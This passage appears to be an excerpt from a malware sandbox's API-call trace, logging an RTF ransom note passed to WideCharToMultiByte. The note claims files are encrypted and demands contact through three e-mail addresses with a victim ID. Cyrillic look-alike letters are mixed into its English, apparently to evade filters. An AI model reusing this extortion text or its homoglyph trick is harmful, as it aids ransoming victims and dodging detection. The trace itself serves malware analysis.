s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 